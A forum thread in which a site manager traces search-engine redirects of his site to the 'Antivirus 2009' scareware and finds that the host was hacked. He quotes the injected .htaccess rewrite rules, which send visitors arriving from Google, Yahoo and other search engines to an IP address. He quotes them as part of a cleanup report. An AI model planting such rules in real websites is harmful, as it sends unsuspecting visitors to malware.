Google redirects only one site to Antivirus 2009

Status
Not open for further replies.

JeffFinnan

Posts: 23   +0
When I do a Google or Yahoo search for SEMCTO, it redirects to AntiVirus 2009. This is with IE and Firefox. If I put in the actual link www.semcto.com, it goes right to there. I ask someone else to check this and she reported back that the same think occurs for her.

Now I manage that site and loaded up one powerpoint document about a month ago. I have not changed anything else on it. It was only by chance that I got lazy and Googled SEMCTO> All my computers at home show this redirect. I quickly threw in my old router and the redirect was the same. I wanted to see if the router was infected. A week and a half ago, I had problems with Antivirus 2008 and had to reinstall windows on one of my machines.

Any ideas? This seems different from all that I have looked at about Google redirects. Any dare try to do the SEMCTO search on Google to see if they get the same result.

In any case, I have attached my HijackThis.log

Thanks,
Jeff
 
I did not see anything bad in your log. Can you rename hijackthis to crusty

C:\Program Files\Hijackthis\HijackThis.exe

then past a shortcut to your desktop and attach a fresh log
 
Solved!

:grinthumb Okay. Figured this one out. The site www.semcto.com was hacked. If someone did a search on semcto, it would redirect to a site that would plant a cookie as well as direct you to Antivirus 2009. It did it by changing the .htaccess file on the site. It had these lines in it:

RewriteEngine On

RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* h..p://87.248.180.88/in.html?s=ipw [R,L] (added note: I removed tt so that it would not hyperlink.)
Errordocument 404 h..p://87.248.180.88/in.html?s=ipw_err

Since I manage this site I was able to remove the offending lines. A colleague of mine actually owns the site and I have left it to her to bug iPower about this. I will monitor to see if it gets changed again. It looks like it occurred only a few days ago. It looks like iPower has had this problem for some time.



Later,
Jeff
 
Hi JeffFinnan,
I have the same issue, can you tell me where on the website do you go to find the .htaccess file. it is from within your site or from google side?

I can not find that .htaccess any where in my website.

thanks,
jojo
 
Hi JeffFinnan,
I have the same issue, can you tell me where on the website do you go to find the .htaccess file. it is from within your site or from google side?

I can not find that .htaccess any where in my website.

thanks,
jojo

It may have to do with how you have set up your host directory in something like Dreamweaver. You can also find it using the Cpanel from your host.

Jeff
 
Status
Not open for further replies.
Back